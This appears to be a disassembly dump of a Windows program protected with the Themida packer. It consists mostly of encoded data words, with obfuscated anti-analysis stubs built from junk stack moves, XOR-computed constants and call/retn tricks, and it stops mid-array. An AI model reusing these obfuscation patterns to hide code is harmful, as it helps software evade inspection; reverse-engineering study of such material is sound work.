52560000h, 8E0Fh, 59590000h, 4F8DB58Dh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0B9511AC3h, 56A3AD1Ah, 3B8h, 98D8900h, 0FF061315h dd 53006AE6h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 4103F6C8h, 16F994FCh, 9589ACD9h, 613255Dh dd 1F19958Bh, 0B9400613h, 7454678Ch, 0B966C08Bh, 0F380B72Ah dd 25BD837Ch, 61316h, 0BD830975h, 6132C81h, 50197400h dd 0B8C08B53h, 403h, 31158589h, 9D8D0613h, 615A9E4h, 585BD3FFh dd 2C81BD83h, 74000613h, 0B8535017h, 403h, 31158589h, 9D8D0613h dd 615A685h, 585BD3FFh, 0AFD3BF66h, 0C789EA81h, 0F3815939h dd 50ECD1F8h, 8B66C08Bh, 8D8D61CAh, 6184A5Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F9C35141h, 0E27BD7EAh dd 4AE93644h, 1BBD8D89h, 6A0613h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0FDD214C3h, 0EE90Eh dd 0ABE00000h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh, 18DD85C7h dd 6DDC0613h, 9D890000h, 6131FDDh, 305585C7h, 613h, 0DA8B0000h dd 302DB5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 7176E4C3h, 4626B26Bh, 0D7CB8166h dd 8995FFF4h, 6A06131Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 6948C356h, 2FDD286Ah dd 36A40D77h, 95FF006Ah, 6130DA9h, 7FEBC08Bh, 0A940D5C4h dd 0D375E4Bh, 0E10109E4h, 0B43F5A50h, 28F816A6h, 2FEAE15Bh dd 43E0213Ah, 0CC694260h, 99B79F2h, 5B3892CEh, 5A0EB91h dd 0DB042EA4h, 5C588832h, 5B5B4A5Fh, 0F11C926Ah, 1F8A6A03h dd 82350470h, 1EDC5713h, 6150AEABh, 0D4CC4B07h, 9805FCE0h dd 2703DCCAh, 3D41529Eh, 0BD027DB0h, 2F3949C5h, 0D585E093h dd 9007B027h, 82846DE8h, 0F0735A8Ch, 4A200C3Ah, 521FDCA6h dd 0DEE58F18h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338B37D2h, 0FFB44E60h dd 0F867A5E4h, 0A08B38DAh, 2FABA3BEh, 79672025h, 0C149A3BAh dd 0D71B2020h, 338B39A6h, 831D2933h, 0C0982633h, 0BED2D7B6h dd 0D6157635h, 0AF806CD0h, 50DD963h, 839E3526h, 35982664h dd 1F152359h, 4B806CC0h, 451DAB63h, 39E3E79h, 0B28DB3CCh dd 14932020h, 6AA1A23Ch, 0B0152633h, 9C806CC0h, 4DAACE63h dd 0F6D82633h, 1961A3BEh, 24C8202Bh, 0CCD2D5B6h, 0FF677635h dd 338B37B6h, 1794E2B0h, 55D2D5B6h, 23157635h, 55806CD0h dd 780DD963h, 3D9E3526h, 6A982651h, 6474AD66h, 11CE7464h dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h dd 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C806CD2h, 18EABBEh dd 9320202Bh, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h dd 0FFF2850Fh, 0B58DFFFFh, 6184C16h, 4C358D8Dh, 0CF2B0618h dd 8B05E983h, 5E8C8h, 0DCDE0000h, 894ECDD7h, 13130185h dd 820F5906h, 4, 35E9BB66h, 5D13C181h, 0B5030000h, 613237Dh dd 1711BAh, 9E85000h, 2D000000h, 0EA36D7FFh, 9AE16BBEh dd 1469B589h, 5B5E0613h, 69BB018Bh, 81672681h, 7DAC2EE8h dd 0ADBD8B47h, 8106131Fh, 0A3CAC9C0h, 6890F49h, 8B000000h dd 1330A1BDh, 2DF08106h, 894296D9h, 13232D9Dh, 810F5006h dd 2, 18FDA8Bh, 5E9h, 56F0FF00h, 0E9816E39h, 6441C538h dd 1A0D8589h, 0C1810613h, 6441C534h, 13D5BD8Bh, 0EA810613h dd 1, 14850Fh, 0BD8B0000h, 6130035h, 20E9h, 0C100D500h dd 0D51E7EECh, 0E4B3D822h, 0FFFF7BE9h, 0CDABEFFh, 445E8640h dd 0BA5400A2h, 83E112D6h, 14E8CBh, 0BE4C0000h, 39203155h dd 2E337FC0h, 4A969A59h, 0F70FD15Ch, 0BD8997BAh, 6132C71h dd 0DA8B6658h, 6203C081h, 9D8B0000h, 6132441h, 1852BAh dd 10E900h, 2FEE0000h, 0B29E073Eh, 4E4084BBh, 57A6A7B4h dd 308B73D9h, 0DEEE81F9h, 8053F270h, 0C6810BD9h, 7ED97A69h dd 6850Fh, 8D8B0000h, 6132A45h, 8450EE81h, 7E9279Ch, 88000000h dd 4A5F5C58h, 30895B5Bh, 1D870Fh, 11E80000h, 70000000h dd 0A8BF401Bh, 7F800A2Ah, 61455F3h, 740D4774h, 209DBD8Bh dd 835B0613h, 9D0B04E8h, 6131059h, 9B850F4Ah, 0E9FFFFFFh dd 11h, 205D420Ch, 8F9A98B5h, 0C817857h, 4367DFD1h, 8E859h dd 5FD00000h, 0C6D59A9Eh, 0E1816FE1h, 8E4DE33h, 1995895Bh dd 8106130Bh, 5BC8C3h, 8E86000h, 1F000000h, 2503FAA3h dd 89FDF871h, 132131BDh, 33615806h, 11B589F6h, 0FF061312h dd 58FC1E34h, 0EE9h, 9B7AB800h, 77303930h, 72936124h, 81F27677h dd 96BF40F0h, 0A9958972h, 8106130Eh, 11A55CE8h, 0F8B70F6Ah dd 2AE7C081h, 8F0F265Dh, 4, 93FCB966h, 0B58D8950h, 8F061309h dd 56603304h, 8159C88Ah, 0DD1756CAh, 830F615Eh, 2, 0EE83C88Bh dd 3D29BA02h, 4E4E571Dh, 6830Fh, 0BD0B0000h, 6131F09h dd 0A4F0FE81h, 850FFFFFh, 0FFFFFF83h, 0E9A7F781h, 786C2E90h dd 11EE5324h, 32030124h, 9BDBC27Eh, 93C42570h, 5642560h dd 50300124h, 3708C276h, 436C1544h, 361F940Dh, 73580737h dd 74598D42h, 3B68E2A5h, 966F058Ch, 123000C2h, 91EEB62Bh dd 11EA499h, 96090122h, 12030100h, 128DE844h, 0D3C70124h dd 23A9BB8Dh, 7230968h, 8F3BA3AFh, 141F0499h, 13BEE845h dd 878A0124h, 14922B11h, 42138AB4h, 36406A9Ah, 99569143h dd 5E190EDEh, 1266FF00h, 1205E971h, 4F230124h, 7E085CE7h dd 56410500h, 127A0500h, 47750124h, 96A0F2E7h, 49294C4Bh dd 120EE944h, 0D36D0124h, 0C87989F6h, 0A74991A2h, 14731E91h dd 9968607Bh, 3ED882FCh, 2389BCAFh, 1A8D0737h, 373684ADh dd 99E70737h, 90CFFD6Ch, 12600124h, 24098042h, 0A59C0EDBh dd 1D0C0124h, 120607A3h, 0D8E48024h, 9182BFA5h, 12AA08E5h dd 1263E976h, 48100124h, 46915BE7h, 568D0500h, 12130500h dd 40410124h, 98EC0DE7h, 0FBF981DAh, 1368842Bh, 0AC560124h dd 5393C89Ch, 450C6B25h, 120602CCh, 0D15C2124h, 36FD887Bh dd 36848020h, 12601B20h, 0D1674624h, 0DD8B8D35h, 99BE1C6Bh dd 1187C91h, 0F4FABF22h, 0DA827508h, 12C00BCDh, 0A53FFE24h dd 9D25EE81h, 936A55BCh, 743927CBh, 17C78268h, 9388C2A4h dd 51CA911Dh, 0B9450EAFh, 78600124h, 11D85424h, 32180124h dd 9B51C279h, 93022548h, 9072560h, 57810124h, 9803C271h dd 0C8BB2D5Ah, 9FBD3B23h, 140B4EA9h, 0FA5A014Eh, 12060127h dd 4CC05F04h, 16A575ADh, 16E445A5h, 12600138h, 16F35762h dd 9E1A53FDh, 0A2CAA3FEh, 120608CDh, 3A334524h, 0FDA458E7h dd 97E951B1h, 147307EDh, 1230029Ch, 45186B24h, 120C02CCh dd 0D1592124h, 367F887Bh, 36C58020h, 12C01620h, 0D1374624h dd 1B38B3E9h, 1272E0DBh, 120FE973h, 4D260124h, 6E8A5EE7h dd 56000500h, 12DC0500h, 45270124h, 7C1D3CE7h, 0A176846Fh dd 786DBB19h, 11EE5724h, 32030124h, 9BDFC27Ah, 93C42550h dd 6642560h, 54300124h, 0A123C272h, 86B18C09h, 9F00196Ah dd 0A53EEA9h, 91F5B922h, 97F300B6h, 147321ADh, 786CCE0Fh dd 11EE5324h, 32030124h, 9BDBC27Eh, 93C42570h, 5642560h dd 50300124h, 5E98376h, 0C08BA4F3h, 31359531h, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 66FBACC3h, 0BD8BF38Bh, 613117Dh, 27E9C38Bh, 74000000h dd 75D23Ch, 8 dup(0) dd 0DAE90000h, 2A000005h, 361CBA9Ch, 260CAAA4h, 381AB892h dd 2709A9A7h, 291CBA9Ah, 0FC58E506h, 0E66CFCDEh, 0FB4DE2C8h dd 0E864F5DBh, 0AFDE01CAh, 16B60633h, 0BDB9A5FCh, 0BF8B1D6Ch dd 0B10E6FAEh, 0B5035F8Eh, 49CC109Dh, 4FDEE07Fh, 0AD81A605h dd 32BE5B02h, 0FE91AB10h, 0C29B107Bh, 63F6DCFAh, 0E37658E9h dd 0F86D4A69h, 109DEA9Eh, 4F9E2667h, 7CD0BB0Bh, 7F1E7FCEh dd 84F57DEEh, 0BD0E7BCEh, 5F43C293h, 50B180D0h, 1CAF9131h dd 1BAB8F2Ch, 0F5CA0F6Dh, 1602B82h, 0C907D130h, 409ACBECh dd 9109E9Ah, 0C51A3C84h, 9A3690C5h, 9EFF109Eh, 0DC6C6EFFh dd 7FF1E776h, 4503580Ah, 0F6F74166h, 228DA425h, 4396BC9Ah dd 48C93809h, 84109E04h, 0A4C1D33h, 15C697B9h, 92796CDDh dd 0EED483F8h, 2160F15Bh, 0A5713F97h, 56D9A341h, 7D000000h dd 8E1D6CBDh, 93A2B2FFh, 0E3721372h, 9DB53692h, 0AA1FAB10h dd 41EAB282h, 27354A3h, 109DC088h, 9D04CC51h, 0Eh, 72EC213Eh dd 3B109DC0h, 0E664F8DAh, 6DBD84DEh, 4EE0C2E1h, 8D03100h dd 69E57559h, 0EB65F6D8h, 0F089095Ah, 805EF042h, 6545075Ah dd 0E470BDCBh, 6DE17155h, 0BEE936DCh, 0AE4666D2h, 36D0180Ah dd 94C00DC5h, 0C8C11436h, 786D775h, 61F3D766h, 429158E9h dd 0B382D060h, 8B008A52h, 41FE8361h, 922BA3h, 0BD0F0000h dd 0D4092670h, 109DB57Ah, 3793C243h, 6B109DB5h, 0A4E976DEh dd 36C1E6C5h, 0D712E65Bh, 84C61ABCh, 0DD8C54B5h, 52E367F9h dd 6AFCDE01h, 8F3455E4h, 0AB29DBD7h, 6BA52FA5h, 0FC9524CEh dd 55B12468h, 1E109DE0h, 4ECF9EFFh, 1CA98F2Fh, 2AB79B38h dd 0FF43A22Ah, 0C891A0B0h, 0C19FCD3Eh, 69A341C3h, 4Ch dd 77D5684Ah, 0C31DA7E6h, 55E470BDh, 4D035476h, 4AFE5183h dd 2807D8FBh, 9DB559B5h, 0BFE32210h, 3051E070h, 35ED5EA8h dd 0B40EACA8h, 1190DDC2h, 2293BC78h, 2826B89Ah, 7E69E819h dd 68E2109Eh, 23EBA9D3h, 153A341h, 0E7000000h, 4EE0C2h dd 0A86C0A31h, 58547298h, 0B9DAF39h, 992C2E3Fh, 44AEA2B3h dd 0A53A20C7h, 697392A3h, 5675D567h, 6C8A0479h, 3253109Eh dd 756CACAAh, 6CA82253h, 2C71109Eh, 66516E4Dh, 3F62D19Eh dd 0EA19A352h, 168F80FBh, 0ABA5361Ch, 0F4717B9Ah, 0BC103291h dd 0A8A7468Eh, 0A9A4577Fh, 0F0F806D2h, 0A1014BDEh, 4F1E2E7Fh dd 8B0B62BEh, 94B9A0Ah, 8AC41638h, 8E2B65BBh, 9FFE54E4h dd 6D25963Ch, 331FADDCh, 3C0D3D8Fh, 411EBCDDh, 0B73EF1Eh dd 0D93C0A8Bh, 0E06CBD0Fh, 70DC6D51h, 6F886C53h, 0E5E96598h dd 53B20A8Ah, 0D5F6056Ch, 1CB65C0Bh, 0EA62F39Fh, 0BDA070CCh dd 65425AACh, 8B0F96F0h, 0D805F0Ah, 0A8B0F91h, 925A3B5Ah dd 1550Bh, 0DDC22F00h, 21AFCD64h, 0BAE12031h, 666ED65Ch dd 58770F5Ah, 8F35C025h, 0E2715916h, 1C3E0F6Eh, 0FD2383C9h dd 0AD91A0ACh, 0B493301Ch, 1FE86293h, 6CB10A8Bh, 8B1FA1FDh dd 0A12B6A0Ah, 3DCE3C42h, 0BA183485h, 2B27B59Dh, 84D7FB1Ah dd 9464FCC4h, 3C5AAC81h, 70h, 0BAE5C222h, 7D435DD5h, 0B22C5DEDh dd 7B109EA3h, 998BB51Ah, 15A1C181h, 47786FCBh, 47956F6h dd 109E338Ah, 74533253h, 6FDF6F53h, 0CA8C2665h, 70956F62h dd 78416C53h, 92CB40CBh, 96BC9B4Ah, 0D9380943h, 0C716700Fh dd 5618909Dh, 0B6CC13E5h, 67113619h, 1214B592h, 66E015B2h dd 2F909E70h, 0BA7E6EEh, 14EF6307h, 8FF6D1F1h, 5C000000h dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h, 0B382CA1Bh dd 8AA0C142h, 0D6B0010Ah, 0D1883584h, 0C998F95Fh, 46173385h dd 0F850E3C7h, 0FF7CF669h, 486AB516h, 0F7915BF9h, 0CF7DD082h dd 9BAAFEFh, 0ACADD2BCh, 0A777376Bh, 0FA50E4C6h, 88C93C9Bh dd 0D91072BCh, 10A1A5B4h, 39930F7Eh, 395C0472h, 99D30958h dd 75115820h, 4517956h, 41103C8Dh, 7190A1C0h, 6AF91867h dd 9DBA0A5Ah, 59E7EE68h, 4593B7FEh, 0F84A6C0Dh, 0BCE18E56h dd 0E0C2C41Eh, 6B6FFE4Ch, 0A2E372DAh, 0A4BDF9C3h, 0BDE2C5E2h dd 0DABFB659h, 4BC736BEh, 14109DC7h, 0B94890F1h, 1685F898h dd 0FF53E1E9h, 0A2FC716Eh, 6B0A8575h, 1B2A4B2Ah, 8A6A637h dd 1EBD8F22h, 1E19FD39h, 7ADCC38Dh, 0F14668DFh, 0AFDE8D57h dd 5D3F20D3h, 0F6A11A58h, 8B2AA4D9h, 92F396BAh, 0F6EE0E2Dh dd 0D9E344F7h, 0C8E666F7h, 0CE3F4FE2h, 96BA4D54h, 4CFE588Dh dd 46C796BAh, 64F594F9h, 607FD162h, 5E78BA77h, 9058E97Eh dd 0F891FBD1h, 6697F74Ah, 96B9EBECh, 0AEBF8D20h, 0DCBDE06Fh dd 0C389DCFEh, 0B66A5572h, 9BDB624Eh, 3EAF5FFh, 48000000h dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh db 24h, 15h, 22h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 3FF75205h xor ecx, 0A983DECh neg ecx xor ecx, 44545A9Ah xor ecx, 40F228D2h sub ecx, 0CE36E25Bh add ebp, ecx pop ecx sub ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], eax mov eax, 139B6AC5h add eax, 0F27CE6A8h mov edi, eax pop eax push esp mov edx, [esp] add esp, 4 push ebp mov ebp, edi push edi mov edi, ebp mov [edx+8], edi pop edi pop ebp push dword ptr [esp] pop edx add esp, 4 mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- dw 1C9Bh dd 1C3B41A8h, 257AFA48h, 0B26FA382h, 5695B8E2h, 0C5030618h dd 1C36E0FFh, 8D967F3Fh, 0A59E77C4h, 60334C2Ah, 0ED1F2928h dd 5563125Eh, 5FDD4BEFh, 98287724h, 37866A34h, 7D766FA3h dd 0A8735EADh, 5EEC7895h, 0CDB03725h, 5B120CE7h, 0E4CB6470h dd 843E151Eh, 380B14AAh, 364C7830h, 57CA4F3Bh, 0AFF87939h dd 0CDEC0A28h, 0BAC76529h, 0D230C70h, 0EE2C256Bh, 0B38E2278h dd 0E4C70F5Dh, 4B656BC5h, 1E567226h, 1F6444E6h, 0CB2E0EC0h dd 0C7C46934h, 292C18E6h, 8D8D37B5h, 61858F0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C6C35545h, 420B045Eh dd 0E29EB7B2h, 1161B58Bh, 8D890613h, 6131BBDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2AC35242h, 0F8B8B7FCh dd 0B684916Ah, 18DD85C7h, 64CC0613h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0C4DA06C3h dd 2B418501h, 85C70613h, 6133055h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5D1B37 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1B37 proc near ; CODE XREF: Themida_:005D1B2Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5D1B37 endp ; --------------------------------------------------------------------------- db 0ECh dd 2E773A5Dh, 0FB8BDD75h, 2831B5FFh, 6A0613h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8F0FD6C3h dd 7, 0C7816657h, 0FF5E40AFh, 131D8995h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 29EC5AF7h, 7F2AB72Eh, 820F877Dh, 0 ; --------------------------------------------------------------------------- movzx edi, cx push 0 call dword ptr [ebp+6130DA9h] mov eax, eax jmp short loc_5D1BEE ; --------------------------------------------------------------------------- db 4Fh dd 0CF6CAAADh, 0FEBAACAEh, 0CD804892h, 0C065C51h, 49C127CCh dd 0FC33B55Dh, 7F55846Eh, 0D448A6BEh, 67384E7Ch, 0EFE05D82h dd 199376E6h db 0FCh, 0Ch ; --------------------------------------------------------------------------- loc_5D1BEE: ; CODE XREF: Themida_:005D1BBDj lea ecx, [ebp+61859F4h] push esi sub [ebp+6130BF5h], ebx pop eax mov [ebp+6131BBDh], ecx add [ebp+61331DDh], esi mov dword ptr [ebp+61318DDh], 5E28h push 0 push ecx call sub_5D1C1D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1C1D proc near ; CODE XREF: Themida_:005D1C15p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5D1C1D endp ; --------------------------------------------------------------------------- db 7Ah, 0E9h, 0Fh dd 0B2000000h, 59A143AFh, 5C14FB1Bh, 0BA0F17Bh, 85C771FEh dd 6133055h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5D1C57 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1C57 proc near ; CODE XREF: Themida_:005D1C4Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5D1C57 endp ; --------------------------------------------------------------------------- db 0F3h ; --------------------------------------------------------------------------- add ebp, [esi+edx*2-23h] mov ebp, 0C5B06A46h mov dh, 39h push dword ptr [ebp+613125Dh] push 0 push ebx call sub_5D1C84 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1C84 proc near ; CODE XREF: Themida_:005D1C7Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5D1C84 endp ; --------------------------------------------------------------------------- dd 3FEA119Ah, 7118D484h, 0E9852B75h, 0FF061334h, 131D8995h dd 8810F06h, 51000000h, 8B4BDB81h, 6A5B31D3h, 0A995FF00h dd 8B06130Dh, 0DF08EBC0h, 0F942D090h, 0E9F92C04h, 0B0h dd 0DA8C6660h, 0F04C2F6h, 0C85h, 6D853B00h, 0F061311h dd 3684h, 0D1853B00h, 0F061310h, 2A84h, 0C9853B00h, 0F061307h dd 1E84h, 0CD853B00h, 0F061314h, 1284h, 75BD8300h, 106131Ah dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h dd 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h, 850F4A04h dd 0FFFFFFDCh, 0DE9h, 8D9D8D00h, 0B806134Fh, 5, 0C361E3FFh dd 9D8DD00Bh, 6133005h, 0CEB8h, 99858900h, 0E8061325h dd 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_5D1E73 ; --------------------------------------------------------------------------- db 2 dup(0), 0F2h dd 32h dup(0F2000076h) db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5D1E73: ; CODE XREF: Themida_:005D1DA0j jmp loc_5D1F02 ; --------------------------------------------------------------------------- a2CDocumentsAnd db '2ÞÏ[C:\Documents and Settings\Martim Carbone\Desktop\Dialog.exe',0 dd 12h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5D1F02: ; CODE XREF: Themida_:loc_5D1E73j jmp loc_5D2D44 ; --------------------------------------------------------------------------- push 6185DBEh jmp loc_590A54 ; --------------------------------------------------------------------------- push 6185EAAh jmp loc_590A54 ; --------------------------------------------------------------------------- push 6186047h jmp loc_590A54 ; --------------------------------------------------------------------------- push 6186086h jmp loc_590A54 ; --------------------------------------------------------------------------- push 6186128h jmp loc_590A54 ; --------------------------------------------------------------------------- push 61861C2h jmp loc_590A54 ; --------------------------------------------------------------------------- push 6186566h jmp loc_590A54 ; --------------------------------------------------------------------------- push 61867E9h jmp loc_590A54 ; --------------------------------------------------------------------------- push 61868D1h jmp loc_590A54 ; --------------------------------------------------------------------------- db 0Eh, 0ECh, 0C3h dd 5758B5DDh, 0C8E3F969h, 5B54AADAh, 0CBD4FD65h, 0D775E9D5h dd 473BA5FAh, 0DD85FBB0h, 9FD3ADFEh, 6E806249h, 0B4B622AAh dd 8986428Ch, 4A61773Ch, 0CEDDFB89h, 0E641DBF4h, 0F64FDA72h dd 0B3D3EA1h, 24EB6C6h, 0AF4EBD78h, 2CC1D300h, 27974E83h dd 0A189F81Ah, 0B04CC498h, 0F604B6FBh, 0CA067786h, 411B48h dd 272B0000h, 780A359Fh, 708B03BDh, 8644763Bh, 93FB6174h dd 0C3EC0174h, 60FAF305h, 0C2B951C5h, 0C03EA1BDh, 0E7E9A7Eh dd 0BD783C9Ah, 0A9AA3072h, 783CAD13h, 0C992B8BDh, 0CA24AA59h dd 0C8F048h, 0FBA50000h, 0EA7486E3h, 0DEFC9908h, 985952B6h dd 0E2CD20B0h, 0D33FD931h, 5440712Eh, 53C545B4h, 294494B2h dd 1D87FFF7h, 0EB4494B2h, 0D707EFB9h, 10656413h, 0A3B04AFFh dd 0EED4D731h, 9498C17Eh, 0FAB14744h, 0AFFCDC88h, 752AC747h dd 0A7C16E63h, 11FC8C8Ch, 73EA1A6h, 48D2EBD5h, 0CC546CF7h dd 4A801EC8h, 0FE533ECEh, 1749C74Dh, 4D52AF1Fh, 0BDE2FF73h dd 3C39CCh, 64654E71h, 0C09h, 0E8DAD535h, 744E617Ch, 0E1BFEC00h dd 70525DB1h, 0E0C2DD04h, 0F3DE7EF0h, 0A94E36ACh, 17F4A002h dd 0A2462E94h, 41459709h, 8CB55FC9h, 15402D42h, 5B455A77h dd 5EDAD127h, 0E866D27Ah, 14564494h, 0E46C9C06h, 906AA704h dd 48D24B8Ah, 455D79DDh, 3B511863h, 0A9E1F763h, 3EA1F4B2h dd 0B3A54E90h, 26EBC01Bh, 70E464D4h, 48BD79F5h, 10880416h dd 0DBD79F5h, 5B4242Dh, 4948CBEDh, 0A5h, 4A6177FAh, 0C9D6FB89h dd 60E00008h, 0B410A62h, 68157583h, 624494E9h, 85931CF2h dd 0E2C0EB0Dh, 0E15556B2h, 0F2299071h, 68D4AA4Dh, 0F3E0FAB0h dd 0F07223Ch, 0A12A9477h, 6240823Eh, 0DD52F38Dh, 601C71FCh dd 0A42414D6h, 0C74D6658h, 0DBD028A0h, 48A9290Dh, 0DA609A57h dd 0F4AB56BEh, 0A4FBE68Eh, 0FFA38827h, 0F792BD70h, 0B1Dh dd 0FCE6C921h, 483A7588h, 0F5EBC01Ch, 643E718Dh, 0F4CED130h dd 2FD24ABCh, 85621270h, 33C8BC26h, 7E5A0A78h, 9579532Dh dd 8CB683F5h, 418C7942h, 5B455A77h, 0E8DAD127h, 4A6177BDh dd 0D8D896CEh, 1DDD0FFEh, 2ACEB61Bh, 0DBF71F81h, 94B8F96Bh dd 8B8DCF44h, 0E94DD862h, 298265EDh, 0A0B87B0Fh, 92023EA1h dd 8B7D3675h, 79D989FBh, 8B3D7FBDh, 1ED3156Dh, 79D936AEh dd 3E0B33BDh, 0CBC13FCEh, 76348h, 6C300000h, 7D9h, 0DD48D245h dd 0F5F6D179h, 0D8783EA1h, 0F38FA906h, 749400B1h, 8C2ED01h dd 9D0EEA9Ah, 2EBCE474h, 48D94D0h, 5D7D0D2Bh, 3CA4BC21h dd 58CC3C58h, 30D63C2Fh, 4A8724B8h, 3EA03A70h, 91416135h dd 1BBD1B65h, 65830F29h, 0F91D7160h, 8446BCDCh, 0D0DBFC94h dd 4CACD84Ah, 0A31AB25Fh, 0AAD63CC6h, 7187DFECh, 0BC1C483Ah dd 47CAC2EFh, 45776EBEh, 4ACE039Ch, 3CC656C2h, 0F0E426D6h dd 5F628F1Ch, 6EDEB2BFh, 0D63CC6FAh, 7A5A90D2h, 21B70FDCh dd 0FAECF8A4h, 0AC0B164h, 0B90CEC98h, 0F40722B5h, 0D300CA4Bh dd 7B24CD45h, 3BF6905Dh, 98404BBBh, 0F436AC09h, 2106F58Eh dd 9C2C2C07h, 0B23482C5h, 0ED9D0143h, 8027EF64h, 0A942B3CDh dd 0B850C802h, 96D075ADh, 37E8295Bh, 7616022Dh, 9CC1695Dh dd 278463CBh, 0FBDD75E1h, 31C703B0h, 0A00BED65h, 8F8ED642h dd 5AA65718h, 16F222B8h, 0F21F8C5Fh, 67A10AE2h, 217928A1h dd 0DDC61970h, 980DCh, 931CBE00h, 7A8452Dh, 9813E999h dd 0BA43A2Ah, 9B04ED95h, 7857925h, 97CBB5EAh, 0D756B40h dd 0AFE3BDEEh, 5E705259h, 88A612BAh, 9996428Ch, 4A61776Ch dd 2829AA41h, 0ADCCF77Dh, 941h, 0F0D2DDFDh, 5C466984h dd 0E9D7D428h, 584A6579h, 0E8DAC52Ch, 1BC646B8h, 91761E84h dd 1FBCA81Ah, 8A6E168Ch, 692DBF21h, 8C8877E1h, 0FD484542h dd 894A6177h, 0D7C9D6FBh, 5CE651BAh, 9EE565D1h, 6C3EA1FAh dd 6316463Ah, 44FDE4DDh, 7F07EF3Ah, 68E65F4h, 3C58C002h dd 889D58CCh, 0ECEE3076h, 32E38E7h, 795E7313h, 0E4C80C83h dd 9111F064h, 0A6F9D868h, 3A1EEC1Eh, 0A869429Ah, 40D0C852h dd 799D03A8h, 0E68BB629h, 90ED3A89h, 0C3D59497h, 7F1325E3h dd 84494269h, 0F9A92DCEh, 89FBBCEh, 4B9F0000h, 0F7167E64h dd 429ACAB8h, 0F30B7769h, 339EC6BCh, 0D44A766Ch, 9C069938h dd 269C0FE8h, 0B40E9D3Eh, 1D8328C0h, 0D53FC7CFh, 0A3428C89h dd 61775FA6h, 0E0FB894Ah, 53A5D5CBh, 3D4494E8h, 44C439D5h dd 4494E8D0h, 7F3476A8h, 0A6C0AD4Bh, 57FB8B8Bh, 653EAD34h dd 73E56571h, 49BD734Ch, 4C219317h, 0E517BD73h, 9F87AF53h dd 25A039B6h, 1314EF1Ch, 4583ED33h, 0DDFB9383h, 6880F4CEh dd 0A8A8E43h, 0C1F9BAF1h, 0A9F6DB37h, 2C7F5C68h, 0F5FF89Fh dd 47426D77h, 805h, 0B40EA139h, 20822DC0h, 0AD139874h dd 1C8629C5h, 0AC168968h, 678A02F4h, 0BD1A4A38h, 0BE094EEh dd 0B65242A0h, 4D318BF5h, 8C894BBDh, 0F9444142h, 0DD87E3FBh dd 0F4870EE9h, 614AAEE6h, 0E7C424B0h, 0E6F3932Ah, 5F416A8Eh dd 0B0C517B7h, 6B9F5457h, 8496749Dh, 266AC9F8h, 4EF8DB1h dd 0FB460000h, 81327993h, 0A4BEAF49h, 9898D89h, 0C3F7BCEFh dd 34BDD535h, 79AB3EADh, 0B8F3157Dh, 923A1ECAh, 0BD734D26h dd 2946D416h, 0AA2A0E11h, 77DC5E4Dh, 0DF59D805h, 46133B92h dd 5DD427D6h, 326B31h, 0D2180000h, 0D373E346h, 4494E861h dd 5CEC2557h, 88920DF4h, 2E0AD004h, 